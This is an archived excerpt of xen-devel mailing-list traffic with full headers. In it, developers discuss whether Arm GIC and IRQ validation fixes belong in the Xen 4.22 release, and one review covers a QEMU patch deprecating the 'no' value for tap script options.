	dlKi2K999g9m9Bub2b+l7yqUXzbdFpuk9BZ1j8uHeLuCZbbsPuFM5Y+RckK65LpQJwI3g=
X-Received: by 2002:a05:6512:400a:b0:5ae:b91d:b2ec with SMTP id 2adb3069b0e04-5b0235612f8mr1980315e87.3.1783928355244;
        Mon, 13 Jul 2026 00:39:15 -0700 (PDT)
Message-ID: <9a75baf4-b889-4f2d-8cfa-d8a229411b68@gmail.com>
Date: Mon, 13 Jul 2026 09:39:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22 1/2] xen/arm: validate IRQs before descriptor
 lookup
To: "Orzel, Michal" <michal.orzel@amd.com>, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <cover.1783671887.git.mykola_kvach@epam.com>
 <1843da2e028635773638ef73ed10907c7ae7bb53.1783671887.git.mykola_kvach@epam.com>
 <e6468083-f901-4a1e-94d5-d347068fabf0@amd.com>
 <2ba97094-c9c8-461b-adc4-64cca978dd6a@amd.com>
 <u46k277cxsw53rb2d4pnxksbbwr35rjp54vwxqm2phbrp2ywll@etlvezzojxvi>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <u46k277cxsw53rb2d4pnxksbbwr35rjp54vwxqm2phbrp2ywll@etlvezzojxvi>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783928356-3ED6A248-6B3AF550/10/73395122804
X-purgate-type: spam
X-purgate-size: 2006



On 7/10/26 1:48 PM, Mykola Kvach wrote:
> On Fri, Jul 10, 2026 at 12:44:44PM +0200, Orzel, Michal wrote:
>> On a tangent note:
>> I can see that you pushed quite a few "for-4.22" patches. We are approaching the
>> release, so afaict at this point we should only be taking crucial bug fixes.
>> Moreover, when sending "for-X" patches, please include a description with your
>> analyzed pros/cons of taking a patch in.
> 
> Ack. I understand. For this patch specifically, I consider it a crucial
> fix for 4.22 for the following reasons:
> 
> Pros:
> - It prevents an out-of-bounds irq_desc[] access which may corrupt Xen
>    memory or crash the hypervisor.
> - The issue was introduced by eSPI support already present in 4.22.
> - The change is small, and valid IRQ handling remains unchanged.
> - I tested CONFIG_GICV3_ESPI=y and CONFIG_GICV3_ESPI=n builds and
>    reproduced the issue on FVP using a fake DT interrupt with reserved
>    INTID 3000.
> 
> Cons:
> - The trigger requires either a malformed DT interrupt specifier, such
>    as reserved INTID 3000, or an eSPI unsupported by the Xen build.
> - The demonstrated failure used deliberate fault injection rather than
>    a reported production failure.
> - The patch adds validation to common Arm IRQ setup paths, although
>    valid IRQs continue through the same path as before.
> 
> Assessment:
> The hypervisor memory-safety impact and the presence of the affected
> eSPI code in 4.22 outweigh the limited regression risk.
> 
> I will include this kind of pros/cons analysis with future for-X
> submissions.

It doesn't seem as critical. IIUC, exploiting this issue requires 
providing a malformed DT interrupt specifier. If the DT interrupt 
specifier is valid, the system should behave correctly.

Given that we are very close to the release, I think it would be better 
to proceed without these changes. If the issue proves to be critical, we 
can backport the fixes afterward.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:43:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:43:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361488.1613708 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBK0-00055B-BQ; Mon, 13 Jul 2026 07:43:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361488.1613708; Mon, 13 Jul 2026 07:43:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBK0-000554-8U; Mon, 13 Jul 2026 07:43:24 +0000
Received: by outflank-mailman (input) for mailman id 1361488;
 Mon, 13 Jul 2026 07:43:22 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjBJy-00054y-Hp
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:43:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjBJw-0066dZ-9K
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:43:20 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a549716-e002-0a2a0a5209dd-0a2a450cdfa4-4
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:43:20 +0200
Received: from [209.85.208.176] (helo=mail-lj1-f176.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a549716-e897-0a2a450c0019-d155d0b0cd6c-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:43:19 +0200
Received: by mail-lj1-f176.google.com with SMTP id
 38308e7fff4ca-39d560a1dd4so11643581fa.1
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 00:43:19 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 38308e7fff4ca-39c97183542sm20548261fa.25.2026.07.13.00.43.17
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 00:43:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783928598; x=1784533398; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=iyGsX8czE0qYYehoElOQnOgOMFNaB9XoGym7wtLlw7E=;
        b=sF0g4IOGFzRd5g6D3VnUY6XgsKFK9u/OCj3/nd8JukpFfSOWPOIA2YJ5TZzKYkoGcS
         ZByMWBBE2acbrBbRsRFVvRw9WAH5aLLg/aVKBHeAzcw56WIMBzif+b5/PvKa/8RHrLZm
         5D7qV0TFfY9efnco6W6zeuG+oaWWaNmSv0Z8HdUQXJidspdCg0DE1kVE+xEWd7PtrJDs
         omfCkbToLPgBLvuN2AXSxhQUBZ3gfDKjHjQ2h7D181Jfz6ryuCWm2zwnp+nMtdr8Frnb
         FNABgDGsx7AYmreHuWA77mCUiwY4uSvRCyb6T8nXw9LwLrAU731SGZ8jZS9p1yg7tdsF
         nWmA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783928598; x=1784533398;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=iyGsX8czE0qYYehoElOQnOgOMFNaB9XoGym7wtLlw7E=;
        b=h588fb4V0NSEMPucczcVRjyKuU1t3Uc2cOg6jLFUyf+mSC4Svq1LXfQZVzAgRc9J07
         +JH0TwM5+gcwQa6gKJ3PBT7+O1MOfuQWIBJS9D/IeaUTGqCzRh8OFI5NCcKFJJ4BWD/S
         DiPgbuQNzagQD84jDnZu0HgNvzpFGV9XrAobFklRCt8dSbQVsqgrTZcqQisT1JhH46UA
         +vVpjRoGAXvyr1ffyFr3VaYyFw2YY8mtJep5RIL508BxkYn2qif1DM44aRDvRRbIyJgS
         O7DONNYpCdetRut8yX0rCPTvd+uAsOyicAQpIIABtZbwSJ9Mee7hiGc7pizODGtQz3fR
         0Uxw==
X-Forwarded-Encrypted: i=1; AHgh+RrVOREZRpjn5VjJIMTmp7oI3PECMyb2Q1D1eCyn5q1jknHRPDGR2gE4Hy3EBWuufbcxrG4J67dw0U4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxBDmSZSuAVQCLDKdZ9v3IsBtaNxHzPiQx3uN5jfyPLQaV8pYli
	1Ql5vFb4z/PBNfG+1WtDWZXg5OSwnBF5dg1Xs+DII7N5yeo96illIe7K
X-Gm-Gg: AfdE7cnewXwv8jAWtuEZZEi+2wi72xjddzPZmEv9ZvhO5B9XZzM/VMjgRcYVIto6+Gd
	XoBvElC6340ZcJDGWEUbE9bhSgSTsEGWf5hQRK4n7kaAJmPAMvDif69CFCyYFY0TsLw8VtB1sn7
	/Np3Gk1Ber6w/m9AHaLLZWpIUe724gnLKxXXDNMPOb++C+gTC6wFLs8QprTOiQ1+sRRyYZHV1aK
	7DuBmPw+GpF6YaHVXxF4ztEptyCkVpTXkgd1/sWV2613NAWeCJQrZYZlWu0Dn8n073OI2Qun4D6
	ngS3FlABXsgGawROnWBuo3VOc5F9u/zM/M5+GfLILFMwg7irncm4ZOyE6YHNUR/lIlv6F6z3x1W
	rpRsdfPF7ieRGIgcjswuXj+NqJvfqatf2IvEoRnFR5QtlDyvuWof/buX4bIXwhjlCTke0WAJ8t1
	s17YMmdXmBhbCOZMPxdHYQ8AuPPEhU16LYShJsFg6PfL2aasBnrbEYp0wTRoTBw2ZToTCZU+zZU
	qmtTA==
X-Received: by 2002:a2e:9a16:0:b0:39a:e9c1:5809 with SMTP id 38308e7fff4ca-39ca7ace686mr17875881fa.3.1783928598342;
        Mon, 13 Jul 2026 00:43:18 -0700 (PDT)
Message-ID: <70f92a54-9d1d-44e6-bdb4-e446cb8fca89@gmail.com>
Date: Mon, 13 Jul 2026 09:43:17 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] xen/arm: propagate secondary GIC initialization
 failures
To: Mykola Kvach <mykola_kvach@epam.com>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <9fd0d0eacf061cc2a32f440e3438c084fa9ca79c.1783678619.git.mykola_kvach@epam.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <9fd0d0eacf061cc2a32f440e3438c084fa9ca79c.1783678619.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1783928599-579646B2-BD33A6DE/10/73395122804
X-purgate-type: spam
X-purgate-size: 1200



On 7/10/26 12:20 PM, Mykola Kvach wrote:
> The GICv3 secondary_init() callback can fail while discovering or
> waking a Redistributor, enabling LPIs, or setting up an ITS collection.
> gic_init_secondary_cpu() currently discards that status. start_secondary()
> then marks the CPU online even though its per-CPU GIC interface may be
> unusable.
> 
> Return the callback status through the common GIC layer. Have
> start_secondary() report the failure and stop the affected CPU before it
> is added to cpu_online_map.
> 
> Fixes: bc183a0235e0 ("xen/arm: Add support for GIC v3")
> Signed-off-by: Mykola Kvach <mykola_kvach@epam.com>
> ---

This doesn't look release-critical. IIUC, the issue only occurs if 
`gic_hw_ops->secondary_init()` fails, which itself appears to require an 
abnormal condition (e.g. invalid DT data or a failure while initializing 
the GIC Redistributor/LPI/ITS state). On correctly configured systems, 
this path should never be taken. We've also been living with this 
behavior for a long time, so unless the maintainers feel strongly that 
it should go in now, I think we could postpone this patch until the 4.22 
release.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Mon Jul 13 07:45:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 07:45:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361496.1613717 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBM4-0005Zf-NK; Mon, 13 Jul 2026 07:45:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361496.1613717; Mon, 13 Jul 2026 07:45:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBM4-0005ZY-Jw; Mon, 13 Jul 2026 07:45:32 +0000
Received: by outflank-mailman (input) for mailman id 1361496;
 Mon, 13 Jul 2026 07:45:31 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <armbru@redhat.com>) id 1wjBM2-0005ZS-Vd
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 07:45:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjBM2-007GgG-2o
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 09:45:30 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <armbru@redhat.com>)
 id 6a54978a-bab6-0a2a0a5309dd-0a2a4502863e-30
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:45:29 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <armbru@redhat.com>)
 id 6a549798-64c6-0a2a45020019-aa0a817cd613-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 09:45:29 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-245-IZooiFzcPA6IroMRGoyIwg-1; Mon,
 13 Jul 2026 03:45:24 -0400
Received: from mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.95])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 4EE9B18002C3; Mon, 13 Jul 2026 07:45:21 +0000 (UTC)
Received: from blackfin.pond.sub.org (unknown [10.44.22.4])
 by mx-prod-int-10.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 1509E765; Mon, 13 Jul 2026 07:45:20 +0000 (UTC)
Received: by blackfin.pond.sub.org (Postfix, from userid 1000)
 id A638D21E6920; Mon, 13 Jul 2026 09:45:17 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1783928728;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 in-reply-to:in-reply-to:references:references;
	bh=mKVnbI611gExUMjuzjUm1eZVIqPdwDXtnBh9poHdS4c=;
	b=OS6s4xl3cFcNsGf2w5FGUFhmRAGTUlk3zbHPcVR69Z1WNZFXYbbpP4dkqzEZG8SPVhGmEH
	FEAnqWrodniOl/417mu6arLDpvHfDPHo2xvBceZhxMHK3UXylV5bnTSwJfdqL/Mu6n0OxF
	hF1DaOpL4RV6836ABC6Lsd/nE2mZwic=
X-MC-Unique: IZooiFzcPA6IroMRGoyIwg-1
X-Mimecast-MFC-AGG-ID: IZooiFzcPA6IroMRGoyIwg_1783928722
From: Markus Armbruster <armbru@redhat.com>
To: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>
Cc: jasowang@redhat.com,  mst@redhat.com,  peterx@redhat.com,
  farosas@suse.de,  raphael.s.norwitz@gmail.com,  bchaney@akamai.com,
  qemu-devel@nongnu.org,  berrange@redhat.com,  pbonzini@redhat.com,
  yc-core@yandex-team.ru,  mark.caveayland@nutanix.com,  Pierrick Bouvier
 <pierrick.bouvier@oss.qualcomm.com>,  Sergio Lopez <slp@redhat.com>,  Zhao
 Liu <zhao1.liu@intel.com>,  Stefano Stabellini <sstabellini@kernel.org>,
  Anthony PERARD <anthony@xenproject.org>,  "Edgar E. Iglesias"
 <edgar.iglesias@gmail.com>,  Bernhard Beschow <shentey@gmail.com>,
  Alistair Francis <Alistair.Francis@wdc.com>,  Palmer Dabbelt
 <palmer@dabbelt.com>,  Jason Wang <jasowangio@gmail.com>,  Eric Blake
 <eblake@redhat.com>,  devel@lists.libvirt.org (open list:Incompatible
 changes),  xen-devel@lists.xenproject.org (open list:X86 Xen CPUs),
  qemu-ppc@nongnu.org (open list:e500),  qemu-riscv@nongnu.org (open
 list:Microchip PolarFi...)
Subject: Re: [PATCH v18 03/14] net/tap: deprecate "no" as special value for
 script/downscript
In-Reply-To: <20260710191809.721154-4-vsementsov@yandex-team.ru> (Vladimir
	Sementsov-Ogievskiy's message of "Fri, 10 Jul 2026 22:17:52 +0300")
References: <20260710191809.721154-1-vsementsov@yandex-team.ru>
	<20260710191809.721154-4-vsementsov@yandex-team.ru>
Date: Mon, 13 Jul 2026 09:45:17 +0200
Message-ID: <87ech7uycy.fsf@pond.sub.org>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
X-Scanned-By: MIMEDefang 3.6 on 10.30.177.95
X-Mimecast-MFC-PROC-ID: SI_OOTtmjfjrBeyao0TsUdz0BdalIXkd-3rJ3EyrovM_1783928722
X-Mimecast-Originator: redhat.com
Content-Type: text/plain
X-purgate-ID: tlsNG-720697/1783928729-3EF43A87-422508C4/0/0
X-purgate-type: clean
X-purgate-size: 1451

Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru> writes:

> The interface is ambiguous, as "no" is valid file name. So,
> using "no" as a special value to disable script is deprecated.
> Use an empty string ("script=" / "downscript=") instead.
>
> In a future version, "no" will be treated as a plain file name, just
> like any other non-empty value.
>
> Document the deprecation in docs/about/deprecated.rst, qapi/net.json,
> and qemu-options.hx. Update other docs to use empty string instead of
> "no". Add a warning.
>
> Signed-off-by: Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>

[...]

> diff --git a/net/tap.c b/net/tap.c
> index fedd48c48d2..1ec9e5ebe6f 100644
> --- a/net/tap.c
> +++ b/net/tap.c
> @@ -103,6 +103,8 @@ static bool tap_is_explicit_no_script(const char *script_arg)
>      }
>  
>      if (strcmp(script_arg, "no") == 0) {
> +        warn_report("script=no/downscript=no is deprecated; "
> +                    "use script=/downscript= instead");

net_init_tap() could pass the parameter name for a simpler error
message.  Probably not worth the bother.

>          return true;
>      }
>  

In net_init_tap_one():

           qemu_set_info_str(&s->nc, "ifname=%s,script=%s,downscript=%s", ifname,
                             script ?: "no", downscript ?: "no");

This sets nc->info_str, which is shown by "info network".  Should we
replace "no" by ""?

[...]



From xen-devel-bounces@lists.xenproject.org Mon Jul 13 08:03:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 13 Jul 2026 08:03:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1361521.1613725 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBdC-0000ld-JC; Mon, 13 Jul 2026 08:03:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1361521.1613725; Mon, 13 Jul 2026 08:03:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjBdC-0000lW-GZ; Mon, 13 Jul 2026 08:03:14 +0000
Received: by outflank-mailman (input) for mailman id 1361521;
 Mon, 13 Jul 2026 08:03:13 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjBdB-0000lA-0o
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 08:03:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjBd9-006WYv-OU
 for xen-devel@lists.xenproject.org; Mon, 13 Jul 2026 10:03:11 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a549bbf-bab6-0a2a0a5309dd-0a2a4505cdd8-0
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 10:03:11 +0200
Received: from [209.85.167.49] (helo=mail-lf1-f49.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a549bbf-4f1d-0a2a45050019-d155a731d078-3
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 10:03:11 +0200
Received: by mail-lf1-f49.google.com with SMTP id
 2adb3069b0e04-5aebd52488cso3036431e87.2
 for <xen-devel@lists.xenproject.org>; Mon, 13 Jul 2026 01:03:11 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5b023b5931bsm1909355e87.42.2026.07.13.01.03.09
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Mon, 13 Jul 2026 01:03:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783929791; x=1784534591; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=sJaaNBM0vez1sanSbzaR4Enuu25yBNyUXntF2Fw+5h0=;
        b=cLonAvoZhLGW61UeT8sbFwMRTUFTffqU2CeWyb0UIiqkjE6UbhuRQYg8P6xaLoxpPw
         r1dmfiEiAS9LQs/XNf4pR8NRzBMGX5t/FItgwobns4W12sCUbZtZxMIxxOy39lD7eCK3
         +I4PbdrhEwvpYhZfEY7pFf7fW0aDAmsGk1FFgDH+oJZb2ahZU55YypSOiYQLe/+eCDoU
         UkOxcada1hdJjcTO3yaWe87V3nr0X3v0pJzBDHtJU/t22m2uV5oyKT7HIJgsd3tlu/81
         zmeHoISY1WetwvjLT7k9JcIBGEJc1qT8seidzAUE99ncWKH6AXbA8UR6udaJO7Tem+Lg
         QkZQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783929791; x=1784534591;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=sJaaNBM0vez1sanSbzaR4Enuu25yBNyUXntF2Fw+5h0=;
        b=aY2X6SuuxhLPDUhvguEfErnoa3FfcW9vT9bQxRcW8YBmIlw0LtixcbYiaBzZUkLFvz
         YhGxxOHr+s+g0I/WD8mY79vsgyE+NiUn3PvZrvIawxqrfgnSz5N06A2Q8Kz75DjRXNSw
         BzecgueJqUcrJv6n+mi7tb60cx6XhpT0vBtEYKXS4w0CUWoeYT/TAJhzSCqoOMt5LiOh
         g7Xl6U8ErLRMD/LWS3n5h2W8/LSbiTNglhJbu+WBFg/g0JydwfGnGYyp8yU/jOAa87Gu
         6EZ+Uxdj5i1nPxJvSLIZqFck0XSn3pd/tbwtx7gOqhrr29QLM5aKJ4CcytderTi2nRYA
         Fu5w==
X-Forwarded-Encrypted: i=1; AHgh+RqeaVAimtW3jzklmdjQpxUx02ECwu9AUDY61biSHioSIGuSUpAWA69hDQTDhOddXqkQMoHhM/ze0GA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyIO+ZBCW0uG7fbXFxcyeTEHNnrIIjg6qcVIXHq9ajvA2CLGMPr
	RhmXu4ob3GBwDHYWpppmyylo6uK7QzKydW2NFPjGrDlN2vMjxG3OLzWW
X-Gm-Gg: AfdE7cliR0tn4D3ACbjYt2hUsT4hdqvnGLQRWNdKG+Z1uEybRb0+JpJ4i0fDrak4Yzg
	JQbdsUhOVBDBlJsF5o20577nvQiQuAPaoPyJ5jMTlwwa/kYW+6I89tWCstFyDY52UH4CfOEX5q9
	suS5mlE/c+JtDD0LRtrJioF5RBB6J7zoUJaXzvftGpnv2rJyKl7KHfLpNE+T8r/Dz9aZwFF8F3D
	yRLA48pO5Mq/X1RWR11mqaJpftvAdJoPoM/+BV6xsPhQcD32qTcY875o/eKrOeKwj6dXRj87gEF
	B3bsI1GGSwlZIxGmsC8poFgRkMfNct1e+tdLtw+VQ+vp2z0cQOWbQ8CcCVT3QUDKBB+xqm/Gebx
	jSmXZEzjH1guOAjb3Je00PWr07p3UHJrIdAosW1NYUYwG3dFmyOx1+6Zfk8vKws09V7pyp6Ts2J
	BUOcgc826CguDgFIHKlonW1QviGTOA/gKVH8xSd6AMdDhm3JFG5jsI/t6yiY6k2yhAnyY=
X-Received: by 2002:a05:6512:1253:b0:5b0:1b78:495f with SMTP id 2adb3069b0e04-5b0236b29fcmr1724653e87.43.1783929790938;
        Mon, 13 Jul 2026 01:03:10 -0700 (PDT)
Message-ID: <90c3eced-ab82-4934-9ef8-bf664768f955@gmail.com>
Date: Mon, 13 Jul 2026 10:03:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH for-4.22] xen/arm: derive GIC CPU interface ID fields from
 the vGIC
To: Mykola Kvach <mykola_kvach@epam.com>, xen-devel@lists.xenproject.org
Cc: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
 <julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <ba4f779d68c54efc80c4a566dca38ac2e6f9a073.1783675708.git.mykola_kvach@epam.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <ba4f779d68c54efc80c4a566dca38ac2e6f9a073.1783675708.git.mykola_kvach@epam.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1783929791-DA94612E-84A444C5/10/73395122804
X-purgate-type: spam
X-purgate-size: 1452



